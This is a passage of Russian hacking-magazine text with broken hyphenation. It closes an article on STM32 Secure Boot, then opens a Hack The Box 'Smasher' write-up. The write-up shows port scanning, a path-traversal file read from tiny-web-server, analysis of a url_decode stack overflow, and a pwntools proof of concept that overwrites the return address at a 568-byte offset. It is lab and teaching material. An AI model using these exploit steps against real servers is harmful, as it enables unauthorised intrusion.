сировать  попыт ку  взло ма  и  аппа рат но  очис тить  регис тры  RTC  и  резер вное
ОЗУ в D3 со все ми хра нив шимися там сек ретами, даже если зло умыш ленник
заб лагов ремен но отклю чил устрой ство от основно го питания! Это гаран тиру‐ 
ет, что кон фиден циаль ная информа ция не попадет в чужие руки, а сер висное
обслу жива ние лег ко выявит нелад ное.

Продолжение статьи →
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ЗАЩИЩАЕМ
МИКРОКОНТРОЛЛЕР

КАК РАБОТАЕТ FIRMWARE HARDENING 
И SECURE BOOT НА ПРИМЕРЕ STM32

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Сто роже вой тай мер, IWDG
На конец,  пос ледний  в  нашем  спис ке  (но  отто го  ничуть  не  менее  важ ный)
механизм  защиты —  это  незави симый  сто роже вой  тай мер.  Стан дар тно  его
исполь зуют для при нуди тель ной перезаг рузки мик рокон трол лера, если прог‐ 
рамма стол кну лась с кри тичес кой ошиб кой или ушла в бес конеч ный цикл.

Од нако,  пос коль ку  IWDG  так тиру ется  от  внут ренне го  LSI,  это  поз воля ет
успешно све рять ся с ним при выпол нении кри тич ных учас тков кода, которые
могут  стать пер вой целью прес тупни ков  (раз личные АМИС по питанию,  так‐ 
товому сиг налу или ЭМИ). Кро ме того,  IWDG может при нуди тель но перезаг‐ 
ружать основной про цес сор, если  тот не был вов ремя про ини циали зиро ван
(не выпол нился заг рузчик или не прош ла уста нов ка обновле ния).

IWDG отно сит ся к базовой перифе рии и встре чает ся на любом сов ремен‐ 
ном мик рокон трол лере. Неуди витель но, что на Н743 он тоже при сутс тву ет.

Внеш ний флеш
Пе речис ленные  методы  защиты  МК  рекомен дуют ся  про изво дите лем,  и  с
необ ходимостью  их  при мене ния  труд но  спо рить  (с  уче том  нынеш них  угроз
«интерне ту  вещей»).  Одна ко  осо бен но  акту аль ной  кон цепция  Secure  Boot
и Secure Firmware Update ста новит ся при исполь зовании внеш ней мик росхе‐ 
мы флеш‐памяти для  хра нения про шив ки и поль зователь ских дан ных.  Такие
мик рокон трол леры дос таточ но дешевы для сво их воз можнос тей. Нап ример,

 с час тотой 480 МГц содер жит все го 128 Кбайт памяти, но сто ит
при этом поряд ка 7 дол ларов. Его кон трол лер Quad SPI поз воля ет не толь ко
отоб ражать  внеш ний  флеш  в  адресное  прос транс тво  про цес сора,  но  и
исполнять из него код прак тичес ки без потерь в про изво дитель нос ти.

STM32H750

КРИПТОГРАФИЯ
Ра зоб равшись  с  аппа рат ными  ком понен тами  защиты,  рас смот рим  теперь,
как  фор миру ется  образ  поль зователь ской  про шив ки  Secure  Boot.  Нам  пот‐ 
ребу ется ману ал UM2262.

На  сто роне  сер вера  про цесс  выг лядит  сле дующим  обра зом.  Спер ва
по алго рит му SHA‐256 рас счи тыва ется хеш от ито гово го зна чения про шив ки
и  помеща ется  в  заголо вок.  Далее  генери рует ся  пара  клю чей  (при ват ный
и  пуб личный)  на  осно ве  эллипти чес ких  кри вых  NIST  P256  и  под писыва ется
бинар ник  (ECDSA).  На  финаль ном  эта пе  заголо вок  и  про шив ка  шиф руют ся
с  помощью  алго рит ма  AES  CBC  и  получив ший ся  файл  вмес те  с  IV  отправ‐ 
ляет ся поль зовате лю для заг рузки.

На  сто роне  устрой ства  пос ледова тель ность  дей ствий  выпол няет ся
в обратном поряд ке, с минималь ными изме нени ями. Сто ит заметить, что «из
короб ки» Secure Boot под держи вает сле дующие схе мы:

  (образ  без  шиф рования,
аутен тифика ция клю чом ECCDSA);

• SECBOOT_ECCDSA_WITHOUT_ENCRYPT_SHA256

 (шиф рование AES, аутен‐ 
тифика ция клю чом ECCDSA);

• SECBOOT_ECCDSA_WITH_AES128_CBC_SHA256

  (шиф рование  AES,
аутен тифика ция сим метрич ным клю чом).

• SECBOOT_AES128_GCM_AES128_GCM_AES128_GCM

INFO

Лю бопыт ная  деталь  —  все  алго рит мы  шиф‐ 
рования в пакете Secure Boot реали зова ны прог‐ 
рам мно,  даже  для  тех  мик рокон трол леров,
на  бор ту  которых  име ются  крип тогра фичес кие
уско рите ли  (бло ки  CRYP  и  HASH).  Видимо,
в  STMicroelectronics  работу  со  столь  спе цифич‐ 
ной перифе рией оставля ют на  усмотре ние поль‐ 
зовате ля.

Поль зователь ская схе ма шиф рования
При желании раз работ чик может реали зовать работу Secure Boot с собс твен‐ 
ными алго рит мами. Для  это го  спер ва  нуж но дать  крип тогра фичес кой  схе ме
про изволь ное наз вание в виде опре деле ния в 

.  Далее  модифи циру ется  опи сание  заголов ка  поль зователь ской
про шив ки  в  ,  пос ле  чего  пред сто ит
реали зовать фун кции в соот ветс твии с интерфей сом заг рузчи ка (см. 

).

SECoreBin/Inc/se_crypto_‐
config.h

SECoreBin/Inc/se_def_metadata.h
SECore‐

Bin/Src/se_crypto_bootloader.c
Те перь оста ется толь ко модифи циро вать скрип ты  , 
 и   соот ветс тву ющим обра зом и интегри ровать со сво ей

сре дой  раз работ ки.  Наибо лее  прос той  вари ант  —  фор мирова ние  фай ла
 сов мес тно с   и  .

key.py prepareimage.
py translate_key.py

SECBOOT_CUSTOM.bat prebuild.bat postbuild.bat

РЕАЛИЗАЦИЯ ДЛЯ H743
Те перь,  ког да  мы  разоб рались  в  основных  ком понен тах  Secure  Boot,  нам
пред сто ит  пор тировать  базовый  про ект  от  ST  на  отла доч ную  пла ту  Nucleo‐
H743.  Непос редс твен но  для  нашей  отладки  при мера  реали зации  в  пакете
нет,  одна ко  он  сущес тву ет  для  «стар шего  бра та» — Н753.  Эти мик росхе мы
во  мно гом  иден тичны,  за  исклю чени ем  аппа рат ного  крип тогра фичес кого
уско рите ля на Н753. Это  важ ное отли чие,  но для наших сегод няшних целей
оно нек ритич но, так что возь мем Н743 в качес тве осно вы.

Под нашу плат форму в пакете есть две реали зации,  которые отли чают ся
количес твом  сло тов  в  памяти  МК  под  акту аль ную  про шив ку  (кон фигура ции
с одним или дву мя сло тами). В свою оче редь, каж дая реали зация содер жит
по три про екта.

WWW

Все    дос тупны  для  ска чива ния
на  сай те  ST.  Там  же  сле дует  искать  и 
для про шив ки и нас трой ки MPU.

ис ходные  коды
ути литу

В  опци ях  про екта  желатель но  заменить  мак рооп ределе ние 
на  ,  пос ле  чего  нуж но  откомпи лиро вать  про екты  в  сле дующем
поряд ке.

STM32H753xx
STM32H743xx

Image_SECoreBin
Здесь  находит ся  реали зация  базовых  крип тогра фичес ких  фун кций.  Необ‐ 
ходимо  ука зать  схе му  в  опре деле нии    —  либо
из  готовых  при меров  про изво дите ля,  либо  поль зователь ское  шиф рование.
Так же  сле дует  задать  при ват ный  ключ  в  фай лах 

. Далее при вызове скрип та   они сох раня‐ 
ются в дво ичном виде в фай ле  .

SECBOOT_CRYPTO_SCHEME

OEM_KEY_COMPA‐
NY1_key_AES_XXX.bin prebuild.sh

se_key.s

Image_SBSFU
Не пос редс твен но  заг рузчик  SBSFU,  который  так же  отве чает  за  фун кции
безопас ного  обновле ния  и  пре дос тавля ет  тран спортный  уро вень  (для
базовых  при меров  это  Y‐MODEM).  Имен но  заг рузчик  отве чает  за  под клю‐ 
чение всех реали зован ных алго рит мов крип тогра фии. Ядро Secure Boot лин‐ 
кует ся  в  про ект  в  виде  биб лиоте ки.  Далее  ском пилиро ван ный  файл  мож но
про шить  в  память  мик рокон трол лера  при  помощи  ути лит  STlink  Utility
или STM32CubeProgrammer.

Image_UserApp
Это базовый при мер поль зователь ско го при ложе ния. В дан ном слу чае у нас
есть  прос той  тек сто вый  интерфейс,  который  поз воля ет  про верять  защиту,
выводить слу жеб ную информа цию и переп рошивать устрой ство. При помощи

 из ском пилиро ван ного фай ла фор миру ется циф ровая под пись
,  которую  сле дует  передать  в  наш  заг рузчик  через  Y‐MODEM.

SBSFU про веря ет кор рек тность под писи, пос ле чего сох раня ет ее в выделен‐ 
ной SAO памяти.

postbuild.sh
UserApp.sfb

WARNING

Важ ный  момент:  в  пол ноцен ном  режиме  про ект
SBSFU пред полага ет отклю чение средств отладки
мик рокон трол лера.  Для  сбро са  PCROP  и  рекон‐ 
фигура ции уров ня RDP на отла доч ной пла те нуж‐ 
но  зажать  кноп ку Reset  и  в  ути лите STM32Cube‐
Programmer  под клю чить ся  в  режиме Connect  un‐
der  reset.  Напом ню,  если  изме нить  RDP,  будет
сбро шена  внут ренняя флеш‐память,  в  том  чис ле
уда лены клю чи шиф рования.

Про шив ка и нас трой ка Option Bytes
На конец,  нам  пред сто ит  самос тоятель но  выс тавить  OB  в  нуж ный  режим
работы.  Во‐пер вых,  перево дим  RDP  на  пер вый  уро вень  защиты  (см.  опи‐ 
сание выше). Далее ука зыва ем зна чения для PCROP и WRP по получив шимся
адре сам в памяти. Все готово! Теперь при перезаг рузке МК мы можем под‐ 
клю чить ся  по  тер миналу  (пре дос тавля ется  отла доч ной  пла той  в  виде  VCP)
и про читать при ветс твие от Secure Boot. Все стан дар тные средс тва безопас‐ 
ности от STMicroelectronics вклю чены и работа ют в штат ном режиме.

INFO

Ес ли тебе и это го недос таточ но, то можешь пос‐ 
мотреть в сто рону более спе цифич ных решений.
Нап ример,   и   Nu‐
cleo  на  его  осно ве.  Для  встра иваемых  сис тем
это поч ти как TPM для ПК. Одна ко учти, что дан‐ 
ная  шту ка  под  NDA  и  ST  вряд  ли  рас ста нет ся
с  ней  прос то  так.  Но  ты  ведь  навер няка  что‐то
при дума ешь? :)

STSAFE‐A100 пла та рас ширения

ЗАКЛЮЧЕНИЕ
Как ты уже понял, Secure Boot дос таточ но прос той и удоб ный при пор тирова‐ 
нии фрей мворк, который поз воля ет реали зовать заг рузку и обновле ние про‐ 
шив ки  в  устрой стве  с  миниму мом  ненуж ных  телод вижений.  Это  замет но
повысит защищен ность устрой ства и зас тавит зло умыш ленни ков лиш ний раз
усом нить ся в выборе цели.

Од нако,  разуме ется,  абсо лют но  безопас ных  решений  не  сущес тву ет
и  даже  тща тель ное  сле дова ние  всем  рекомен даци ям  про изво дите ля
не  гаран тиру ет  пол ного  отсутс твия  уяз вимос тей.  Физичес кие  устрой ства,
как объ екты реаль ного мира, пре дос тавля ют зна читель но боль ше информа‐ 
ции и спо собов вза имо дей ствия, чем может показать ся на пер вый взгляд.

Пыт ливый  хакер может обой ти даже эше лони рован ную обо рону,  воз дей‐ 
ствуя  на  мик росхе му  уль тра фиоле том,  ана лизи руя  трас сы  энер гопот ребле‐ 
ния  или  генери руя  элек тро маг нитные  помехи  спе циаль ным обо рудо вани ем.
Но об этом как‐нибудь в дру гой раз. До встре чи!

https://www.st.com/resource/en/datasheet/stm32h750zb.pdf
https://www.st.com/content/st_com/en/products/embedded-software/mcu-mpu-embedded-software/stm32-embedded-software/stm32cube-expansion-packages/x-cube-sbsfu.html
https://www.st.com/content/st_com/en/products/development-tools/software-development-tools/stm32-software-development-tools/stm32-programmers/stm32cubeprog.html
https://www.st.com/resource/en/datasheet/stsafe-a100.pdf
https://www.st.com/resource/en/data_brief/x-nucleo-stsa100.pdf
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ВЗЛОМ

В  этой  статье  тебя  ждут:  низ коуров невая
экс плу ата ция веб‐сер вера со сры вом сте ка
и  генера цией  шелл‐кода  на  лету
с  помощью  древ ней  магии  pwntools;  ата ка
Padding Oracle на питонов ское при ложе ние
для  вскры тия шиф ртекста  AES‐CBC,  а  так‐ 
же реверс‐инжи ниринг исполня емо го фай‐ 
ла  с  атри бутом  SUID  для  повыше ния  при‐ 
виле гий  в  сис теме  до  локаль ного  супер‐ 
поль зовате ля.

Все это мы про дела ем на пути к root‐фла гу вир туал ки Smasher (уро вень слож‐ 
ности  Insane —  7,6  бал ла  из  10)  с  CTF‐пло щад ки  .  Пос коль ку
речь  в  основном  пой дет  о  сры ве  сте ка,  это  будет  отличным  завер шени ем
для нашего цик ла «В королевс тве PWN».

Hack  The  Box

HTB — Smasher

В королевс тве PWN
В  этом  цик ле  ста тей  мы  изу чаем  раз ные  аспекты  атак  типа  «перепол нение
сте ка». Читай так же:

« »• Пре пари руем клас сику перепол нения буфера в сов ремен ных усло виях
« »• Об ходим DEP и брут форсим ASLR на вир туал ке с Hack The Box
« »• ROP‐цепоч ки и ата ка Return‐to‐PLT в CTF Bitterman

РАЗВЕДКА
Ска ниро вание пор тов
Я  про дол жаю  извра щать ся  с  метода ми  обна руже ния  откры тых  пор тов, 

 будем поль зовать ся связ кой из Masscan и Nmap. Masscan, к сло‐ 
ву,  на  сегод няшний  день  самый  быс трый  из  асин хрон ных  ска неров  пор тов.
Ко все му про чему он опи рает ся на собс твен ное видение сте ка TCP/IP и, 

, может прос каниро вать  весь интернет  за шесть минут
с одно го хос та.

и в этот раз

по
сло вам раз работ чика

 

 

root@kali:~# masscan ‐‐rate=1000 ‐e tun0 ‐p1‐65535,U:1‐65535 10.10.10.89 
> ports

Пер вой коман дой я ини циирую ска ниро вание все го диапа зона пор тов (в том
чис ле UDP) IP‐адре са, по которо му живет Smasher, и перенап равляю резуль‐ 
тат в тек сто вый файл.

 

 

root@kali:~# 
 

root@kali:~# nmap ‐n ‐Pn ‐sV ‐sC ‐oA nmap/smasher ‐p$ports 10.10.10.89

ports=`cat ports | awk ‐F " " '{print $4}' | awk ‐F "/" '{
print $1}' | sort ‐n | tr "\n" ',' | sed 's/,$//'`

Да лее с помощью стан дар тных средств тек сто вого про цес синга в Linux обра‐ 
баты ваю резуль таты ска на, что бы най ден ные пор ты хра нились одной стро кой
через запятую, сох раняю эту стро ку в перемен ной   и спус каю с повод ка
Nmap.

ports

Ска ниро вание пор тов ВМ Smasher

По  мне нию  Nmap,  мы  име ем  дело  с  Ubuntu  16.04  (Xenial).  Оно  осно вано
на  информа ции  .  Пос тучать ся  же  мож но  в  пор ты  22  и  1111.
На  пос леднем,  кста ти,  висит  некий  shenfeng  tiny‐web‐server  —  вот  его  мы
и отпра вим ся иссле довать в пер вую оче редь.

о  бан нере  SSH

Веб — порт 1111
Бра узер
По  адре су    тебя  встре тит  лис тинг  кор невой
дирек тории веб‐сер вера.

http://10.10.10.89:1111/

Лис тинг кор невой дирек тории веб‐сер вера

Ин терес но, что стра ница   сущес тву ет, но редирек та на нее нет —
вмес то это го откры вает ся спи сок фай лов катало га. Запом ним это.

index.html

Фор ма авто риза ции /index.html

Ес ли мы перей дем на    вруч ную,  то  уви дим нерабо тающую  заг‐ 
лушку для фор мы авто риза ции (мож но печатать в полях вво да, но кноп ка Lo‐
gin не работа ет). Забав но, что оба поля для вво да называ ются  .

/index.html

input.email

На име нова ния полей фор мы авто риза ции

A tiny web server in C
Ес ли поис кать shenfeng tiny‐web‐server в Сети, по пер вой же ссыл ке в выдаче
резуль татов мож но най ти   про екта на GitHub.ре пози торий

Сра зу же бро сают ся в гла за пре дуп режде ния, что код небезо пасен: 
 в самом опи сании сер вера (как единс твен ная его «анти фича»),   —

в откры тых issues.

пер‐ 
вое вто рое

Проб лема безопас ности tiny‐web‐server (Path Traversal)

Ес ли  верить  опи санию,  то  tiny‐web‐server  под вержен  Path  Traversal,  а  воз‐ 
можность прос матри вать лис тинги дирек торий как буд то шеп чет тебе на ухо:
«Так оно и есть…»

АНАЛИЗ TINY-WEB-SERVER
Про верим выпол нимость Path Traversal. Так как Firefox любит исправ лять син‐ 
такси чес ки некор рек тные конс трук ции в адресной стро ке (в час тнос ти, резать
пре фик сы  вида  ),  то  я  сде лаю  это  с  помощью  ,  как  показа но
в issue.

../../../ nc

PoC уяз вимос ти выхода за кор невую дирек торию веб‐сер вера

Что и тре бова лось доказать — у нас есть воз можность читать фай лы на сер‐ 
вере!

Что даль ше? Осмотрим ся. Если дуб лировать пер вичный слеш для дос тупа
к катало гам, сер вер подума ет, что таким обра зом мы обра щаем ся к кор невой
дирек тории, — и раз ведку мож но будет про вес ти пря мо из бра узе ра.

Со дер жимое /home

В   нам дос тупна все го одна дирек тория —  ./home /www

Со дер жимое /home/www

Из инте рес ного здесь — скрипт   для переза пус ка инстан са про‐ 
цес са сер вера, а так же сама дирек тория с про ектом.

restart.sh

#!/usr/bin/env bash

# Please don’t edit this file let others players have fun

cd /home/www/tiny‐web‐server/
ps aux | grep tiny | awk '{print $2}' | xargs kill ‐9
nohup ./tiny public_html/ 1111 2>&1 > /dev/null &

Со дер жимое /home/www/tiny‐web‐server

Что бы  не  мучить ся  с  заг рузкой  каж дого  фай ла  по  отдель нос ти,  я  кло нирую
дирек торию   целиком с помощью  , исклю чив каталог  , —
раз личия в коде веб‐сер вера по срав нению с GitHub‐вер сией мы узна ем чуть
поз же дру гим спо собом.

/home/www wget .git

 

 

root@kali:~# wget ‐‐mirror ‐X home/www/tiny‐web‐server/.git 
http://10.10.10.89:1111//home/www/

Кло ниро вание /home/www с помощью wget

Три фай ла пред став ляют для нас инте рес:  ,   и  .Makefile tiny tiny.c

Лис тинг локаль ной копии /home/www

В   содер жатся инс трук ции для сбор ки исполня емо го фай ла.Makefile

CC = c99
CFLAGS = ‐Wall ‐O2

# LIB = ‐lpthread

all: tiny

tiny: tiny.c
   $(CC) $(CFLAGS) ‐g ‐fno‐stack‐protector ‐z execstack ‐o tiny tiny
.c $(LIB)

clean:
   rm ‐f *.o tiny *~

Фла ги    намека ют  нам  на  пред‐ 
полага емый «по сюжету» век тор ата ки — срыв сте ка, который, наде юсь, уже
успел тебе полюбить ся.

‐g  ‐fno‐stack‐protector  ‐z  execstack

Файл   — сам бинар ник, который раз вернут на Smasher.tiny

Свод ка безопас ности исполня емо го фай ла tiny (checksec)

У нас есть исполня емый стек, сег менты с воз можностью записи и исполне ния
про изволь ных  дан ных  и  активный  механизм   —  пос ледний,  прав да,
ни на что не пов лияет в нашей ситу ации (под робнее о нем мож но про честь 

  цик ла,  где  мы  раз бирали  вывод  ).  Плюс  нуж но  пом‐ 
нить,  что  на  целевом  хос те,  ско рее  все го,  акти вен механизм ран домиза ции
адресно го прос транс тва ASLR.

FORTIFY
в

пер вой  час ти checksec

Преж де чем перей ти непос редс твен но к спло итин гу, пос мотрим, изме нил
ли как‐нибудь автор машины исходный код   (сам файл я положу 

, что бы не заг ромож дать тело статьи).
tiny.c к себе

на гит хаб

Из менения в исходном коде tiny.c
Ес ли  нуж но  пос троч но  срав нить  тек сто вые  фай лы,  я  пред почитаю  рас‐ 
ширение    для  Sublime  Text,  где —  в  отли чие  от  дефол тно го   —
есть под свет ка син такси са. Одна ко, если ты при вык работать исклю читель но
из коман дной стро ки,   ста нет удоб ной аль тер нативой.

DiffTabs diff

colordiff
Вы дер нем  пос леднюю  вер сию    с  гит хаба  (будем  звать  ее 

) и срав ним с тем исходни ком, который мы зах ватили на Smasher.
tiny.c tiny‐

github.c

 

 

root@kali:~# wget ‐qO tiny‐github.c 
https://raw.githubusercontent.com/shenfeng/tiny‐web‐server/master/tiny.c 
root@kali:~# colordiff tiny‐github.c tiny.c

166c166
<     sprintf(buf, "HTTP/1.1 200 OK\r\n%s%s%s%s%s",

>     sprintf(buf, "HTTP/1.1 200 OK\r\nServer: shenfeng 
tiny‐web‐server\r\n%s%s%s%s%s",
233a234,236
>     int reuse = 1;
>     if (setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, (const 
char*)&reuse, sizeof(reuse)) < 0)
>         perror("setsockopt(SO_REUSEADDR) failed");
234a238,239
>     if (setsockopt(listenfd, SOL_SOCKET, SO_REUSEPORT, (const 
char*)&reuse, sizeof(reuse)) < 0)
>         perror("setsockopt(SO_REUSEPORT) failed");
309c314
<     sprintf(buf, "HTTP/1.1 %d %s\r\n", status, msg);

>     sprintf(buf, "HTTP/1.1 %d %s\r\nServer: shenfeng 
tiny‐web‐server\r\n", status, msg);
320c325
<         sprintf(buf, "HTTP/1.1 206 Partial\r\n");

>         sprintf(buf, "HTTP/1.1 206 Partial\r\nServer: shenfeng 
tiny‐web‐server\r\n");
346c351,355
< void process(int fd, struct sockaddr_in *clientaddr){

> int process(int fd, struct sockaddr_in *clientaddr){
>     int pid = fork();
>     if(pid==0){
>     if(fd < 0)
>       return 1;
377a387,389
>     return 1;
>   }
> return 0;
407a420
>     int copy_listen_fd = listenfd;
417,420c430
<
<     for(int i = 0; i < 10; i++) {
<         int pid = fork();
<         if (pid == 0) {         //  child

>     signal(SIGCHLD, SIG_IGN);
421a432
>
423c434,437
<                 process(connfd, &clientaddr);

>               if(connfd > ‐1)  {
>                 int res = process(connfd, &clientaddr);
>               if(res == 1)
>                       exit(0);
424a439,440
>               }
>
426,437d441
<         } else if (pid > 0) {   //  parent
<             printf("child pid is %d\n", pid);
<         } else {
<             perror("fork");
<         }
<     }
<
<     while(1){
<         connfd = accept(listenfd, (SA *)&clientaddr, &clientlen);
<         process(connfd, &clientaddr);
<         close(connfd);
<     }
438a443
>

Нез начитель ные изме нения:
до бав лена обра бот ка оши бок ( ,  );• 233a234 234a238

в  строч ках  бан неров  веб‐сер вера  появи лось  имя  раз работ чика,  что
облегча ет  ата кующе му  иден тифика цию ПО  на  эта пе  ска ниро вания  хос та
( ,  ).

•

166c166 320c325

Важ ные  изме нения:  модифи циро вана  логика  обра бот ки  зап росов  кли ента
(все,  что  каса ется  фун кции    и  соз дания  фор ков).  Если  в 

 реали зова на мно гопо точ ность с помощью кон цепции PreFork, ког‐ 
да мас тер‐про цесс спав нит дочер ние в цик ле от 0 до 9, то в   родитель
фор кает ся  толь ко  один  раз  —  и  уже  не  в  теле  ,  а  в  самой  фун кции

. Полагаю, это было сде лано, что бы осла бить наг рузку на сер вер —
ведь  ВМ  ата кует  мно жес тво  людей  одновре мен но.  Ну  а  нам  это  толь ко
на руку, потому что дебажить мно гопо точ ные при ложе ния — то еще удо воль‐ 
ствие.

process tiny‐
github.c

tiny.c
main

process

Най ти уяз вимую стро ку
На одной  из моих  вузов ских  прак тик  пре пода ватель  пос тавил  такую  задачу:
без  дос тупа  в  Сеть  с  точ ностью  до  стро ки  най ти  в  исходном  коде  пакета
OpenSSL мес то, ответс твен ное за нашумев шую уяз вимость   (CVE‐
2014‐0160). Разуме ется, в боль шинс тве слу чаев нель зя однознач но обви нить
во  всех  бедах  одну‐единс твен ную  стро ку,  но  всег да  мож но  (и  нуж но)
выделить  для  себя  мес то  в  коде,  от  которо го  ты  будешь  отталки вать ся
при ата ке.

Heartbleed

Най дем  такую  стро ку  в  .  В фор мате  статьи  труд но  ана лизи ровать
исходные коды без наг ромож дения пов торя ющей ся информа ции — поэто му
я  пред став лю  ана лиз  в  виде  цепоч ки  «прыж ков»  по  фун кци ям  (начиная
от    и  закан чивая  уяз вимостью),  а  ты  потом  сам  прос ледишь  этот  путь
в сво ем редак торе.

tiny.c

main

main() { int res = process(connfd, &clientaddr); } ==> process() { 
parse_request(fd, &req); } ==> parse_request() { url_decode(filename,
req‐>filename, MAXLINE); }

Фун кция    при нима ет  три  аргу мен та:  два  мас сива  строк
(источник —   и наз начение —  ) и количес тво копиру‐ 
емых  бай тов  из  пер вого мас сива  во  вто рой. В  нашем  слу чае  это  кон стан та

, рав ная 1024.

url_decode
filename req‐>filename

MAXLINE

void url_decode(char* src, char* dest, int max) {
   char *p = src;
   char code[3] = { 0 };
   while(*p && ‐‐max) {
       if(*p == '%') {
           memcpy(code, ++p, 2);
           *dest++ = (char)strtoul(code, NULL, 16);
           p += 2;
       } else {
           *dest++ = *p++;
       }
   }
   *dest = '\0';
}

Ал горитм  фун кции  три виален.  Кли ент  зап рашива ет  у  сер вера  файл.  Если
стро ка с име нем это го фай ла содер жит дан ные в Percent‐encoding (их мож но
опре делить  по  сим волу  ),  фун кция  выпол няет  декоди рова ние  и  помеща ет
соот ветс тву ющий байт в мас сив наз начения. В про тив ном слу чае про исхо дит
прос тое  побай товое  копиро вание.  Одна ко  проб лема  в  том,  что  локаль ный
мас сив    име ет  раз мер    (то  есть  1024  бай та),  а  вот  поле

 струк туры   рас полага ет лишь 512 бай тами.

%

filename MAXLINE
req‐>filename http_request

typedef struct {
   char filename[512];
   off_t offset;              /* for support Range */
   size_t end;
} http_request;

На лицо клас сичес кий   (CWE‐787: запись за пре делы дос‐ 
тупной памяти) — он и дела ет воз можным срыв сте ка.

Out‐of‐bounds Write

В  эпи логе  мы  пос мотрим  на  ана лиз  трас сиров ки  это го  кода,  а  пока
подума ем, как мож но исполь зовать уяз вимое мес то  .tiny.c

Продолжение статьи →
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В КОРОЛЕВСТВЕ PWN
АТАКА RET2BSS, КРИПТООРАКУЛЫ И РЕВЕРС‐

ИНЖИНИРИНГ НА ВИРТУАЛКЕ SMASHER
С HACK THE BOX

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Раз работ ка экс пло ита
Спер ва нас ладим ся момен том, ког да сер вер   кра шит ся. Так как с ошиб‐ 
кой  сег мента ции  упа дет  дочер ний  про цесс  прог раммы,  при выч ного  алер та

 в окне тер минала мы не уви дим. Что бы убе дить ся, что
про цесс отра ботал некор рек тно и  завер шился сег фолтом,  я открою жур нал
сооб щений ядра   (с фла гом  ) и зап рошу у сер вера (несущес тву ющий)
файл с име нем из тысячи букв A.

tiny

Segmentation fault

dmesg ‐w

 

 

root@kali:~# ./tiny 1111 
root@kali:~# dmesg ‐w 
root@kali:~# curl localhost:1111/$(python ‐c 'print "A"*1000')

Под твержде ние ошиб ки сег мента ции про цес са tiny

Класс: видим, что зап рос выбива ет child‐про цесс c general protection fault (или
segmentation fault в нашем слу чае).

По иск точ ки переза писи RIP
За пус тим исполня емый файл сер вера в отладчи ке GDB.

INFO

Клас сичес кий  GDB  без  обве сов  по  умол чанию
сле дит за выпол нени ем   про цес‐ 
са, одна ко    ассистент PEDA будет
монито рить   про цесс, если при выпол‐ 
нении  был  форк.  Это  экви вален тно  нас трой ке

 в ори гиналь‐ 
ном GDB.

ро дитель ско го
ус танов ленный
до чер ний

set follow‐fork‐mode child

 

 

root@kali:~# gdb‐peda ./tiny 
 

 
 

Reading symbols from ./tiny...
gdb‐peda$ r 1111
Starting program: /root/htb/boxes/smasher/tiny 1111
listen on port 1111, fd is 3

Те перь  важ ный  момент:  я  не  могу  поль зовать ся  цик личес ким  пат терном  де
Брёй на, который пред лага ет PEDA, ведь он содер жит сим волы   — а они,
если пом нишь, трак туют ся сер вером как начало URL‐кодиров ки.

'%'

Цик личес кая пос ледова тель ность, сге нери рован ная при помощи GDB
PEDA

Зна чит,  нам  нужен  дру гой  генера тор.  Мож но  поль зовать ся 
  и  ,  что бы  соз дать

пос ледова тель ность нуж ной дли ны и най ти сме щение. Одна ко я пред почитаю
модуль  , который работа ет в разы быс трее.

msf‐pat‐
tern_create ‐l  <N> msf‐pattern_offset  ‐q  <0xFFFF>

pwntools

Цик личес кие пос ледова тель нос ти, сге нери рован ные при помощи MSF
и pwntools

Как  мы  видим,  ни  один  из  инс тру мен тов  не  исполь зует  «пло хие»  сим волы,
поэто му для генера ции вре донос ного URL мож но юзать любой из них.

 

 

root@kali:~# curl localhost:1111/$(python ‐c 'import pwn; print pwn.‐
cyclic(1000)') 
File not found

Мы  отпра вили  зап рос  на  откры тие  несущес тву ющей  стра ницы  при  помощи
 — а  теперь смот рим,  какое зна чение осе ло в регис тре RSP, и рас счи‐ 

тыва ем величи ну сме щения до RIP.
curl

 

 

gdb‐peda$ x/xw $rsp 
 

root@kali:~# python ‐c 'from pwn import *; print 
cyclic_find(unhex("66616172")[::‐1])' 

0x7fffffffdf48: 0x66616172

568

От вет: 568.
Пос ле выхода из отладчи ка хорошо бы при нуди тель но убить все инстан сы

веб‐сер вера — ведь однознач но завер шился толь ко child‐про цесс.

 

 
root@kali:~# ps aux | grep tiny | awk '{print $2}' | xargs kill ‐9

Proof-of-Concept
Да вай про верим, что мы и прав да можем переза писать адрес воз вра та про‐ 
изволь ным зна чени ем. Для это го напишем прос той скрипт на Python, который
откро ет уда лен ный (в нашем слу чае локаль ный) сокет и отпра вит туда стро ку
вида  .GET /<ПЕЙЛОАД>

pwntools для Python 3
Нес мотря  на  то  что раз работ ка  еще не  перене сена  в  stable‐вет ку,  я  все же
решил ся на экспе римент с pwntools для треть ей вер сии Python.

Ус танав лива ется он так.

$ apt install python3 python3‐pip python3‐dev git libssl‐dev 
libffi‐dev build‐essential ‐y
$ python3 ‐m pip install ‐‐upgrade git+https://github.com/Gallop
sled/pwntools.git@dev3

#!/usr/bin/env python3
# ‐*‐ coding: utf‐8 ‐*‐

# Использование: python3 poc.py [DEBUG]

from pwn import *

context.arch      = 'amd64'
context.os        = 'linux'
context.endian    = 'little'
context.word_size = 64

payload = b''
payload += b'A' * 568
payload += p64(0xd34dc0d3)

r = remote('localhost', 1111)
r.sendline(f'GET /{payload}')
r.sendline()

С работа ющим на фоне сер вером в дебаг гере запус тим скрипт и убе дим ся,
что про цесс упал с «мер твым кодом» в регис тре RIP.

PoC переза писи адре са воз вра та (неуда ча)

С пер вого раза не сра бота ло… Что пош ло не так? Зна чение   упа‐ 
кова но в фор мат little‐endian для x86‐64, поэто му на самом деле оно выг лядит
как  .  При  чте нии  пер вого  нулево го  бай та  сер вер  упал.
Почему? Потому что он юза ет фун кцию   ( ) для пар синга зап‐ 
роса — а она записы вает нашу полез ную наг рузку в мас сив  , пока не спот‐ 
кнет ся о нулевой тер минатор.

0xd34dc0d3

0x00000000d34dc0d3
sscanf стро ка 278

uri

Что бы избе жать это го, перед отправ кой кон верти руем весь пей лоад в Per‐
cent‐encoding с помощью  .urllib.parse.quote

from urllib.parse import quote as url_encode
r.sendline(f'GET /{url_encode(payload)}')

Тог да все прой дет как нуж но.

PoC переза писи адре са воз вра та (успех)

По луче ние шел ла
Есть нес коль ко вари антов получе ния сес сии поль зовате ля, от име ни которо‐ 
го кру тит ся веб‐сер вер.

Пер вый  —  это  пол ноцен ная  ата ка  Return‐to‐PLT  с  извле чени ем  адре са
какой‐либо фун кции из исполня емо го фай ла (  или  , к при меру). Так
мы  узна ем  мес то  заг рузки  libc  и  смо жем  выз вать    с  помощью  клас‐ 
